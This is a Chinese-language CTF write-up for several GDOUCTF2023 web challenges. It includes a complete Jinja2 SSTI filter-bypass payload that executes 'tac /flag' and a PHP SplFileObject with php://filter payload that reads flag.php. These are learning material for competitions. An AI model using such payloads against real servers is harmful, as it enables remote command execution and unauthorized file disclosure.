记录一个人打GDOUCTF2023
记录一个人打GDOUCTF2023
web题目:
hate eat snake
1.先打开题目,查看源代码,发现f12好像用不了,直接右键检查页面
2. 我开始玩了几次,发现手速还是不行,毕竟没单身 19 年,QAQ, 这速度不是人玩的,不过我看到群里真有大佬手玩贪吃蛇 666!!!
我观察了源码,发现 js 改不到,就从 css 下手吧,我改了很多没用的,比如 height,width 等等,发现都不咋行,因为蛇是按比例来改变的,都是 3~4 秒就没了
3. 我仔细观察发现这题是有格子大小,就是 <‘td’>,然后我就复制粘贴了几万个 <‘td’>, 这样贪吃蛇就会一直跑不会撞到墙。
4. 注意,要改食物上面空间部分的 td,要不然还是会撞
最终结果:
ps: 听说大佬们还有很多解题方法
1. 删除 js,等待 60s 就能出了
2. 直接控制台改分数,图片来自大佬
3. 复制网页到本地修改 js
4. 按住空格 60s
5. 按空格跳到其它界面蹦出来 flag
解法真的太多了,我只列出来部分解法
受不了一点
1.打开题目就是一段php代码
2. 我们按照要求来就行了,因为题目比较简单,我就直接放 payload
最后得到:
EZ WEB
1.我们先f12发现有提示,直接打开
2. 发现一段源代码 app.py
3. 代码审计
①用 GET 方式输入’/‘返回 index.php
②用 GET 方式输入’/src’返回 app.py
③用 PUT 方式输入’/super-secret-route-nobody-will-guess’返回 flag
那么我们就要用 PUT 方式输入,就能得到 flag
4. 直接抓包,将 GET 方法改为 PUT,成功得到 flag
ez_ze
1.直接放Myanemo大佬的payload
name={% set po=dict(po=a,p=b)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}
{% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}
{% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}
{% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}
{% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}
{% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}
{%set pp=dict(pop=a,en=b)|join %}
{%print(()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(132)|attr(ini)|attr(glo)|attr(geti)(pp)(‘tac /flag’)|attr(‘read’)() )%}
注意!!!payload为和之间的代码
将payload用url编码一下即可
注意:直接使用会报错,最后一行的(‘tac /flag’)|attr(‘read’)() )%}中的单引号 ‘’ 改成英语单引号 ''
泄露的伪装
1.用dirsearch扫除www.rar,打开
得到信息:
再打开
接下来就是代码审计了:这里直接放 payload,ctrl 是 post 提交
反方向的钟
1.这里直接放exp
2. 生成 payload
题中说了 flag 应该在 flag.php 中,因此我们直接用 php 的内置类 SplFileObject 来读取文件内容。由于没有输出,想要读取到文件里的内容要用伪协议。
POST:
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
overover!!!
总结:
这次的比赛,我的收获还是很多的,特别是解出题目的喜悦感,很难得!!!引用
部分wp引用Myanemo大佬